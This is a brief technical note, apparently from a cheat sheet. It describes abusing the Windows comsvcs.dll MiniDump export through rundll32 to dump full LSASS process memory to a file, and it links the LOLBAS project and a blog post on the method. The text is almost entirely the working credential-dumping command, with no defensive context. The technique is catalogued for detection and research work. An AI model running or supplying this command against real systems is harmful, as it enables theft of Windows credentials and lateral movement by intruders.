comsvcs.dll is a Windows DLL that exports the MiniDump function.
rundll32 C:\windows\system32\comsvcs.dll MiniDump <pid of lsass> lsass.dmp full
https://lolbas-project.github.io/lolbas/Libraries/comsvcs/
https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/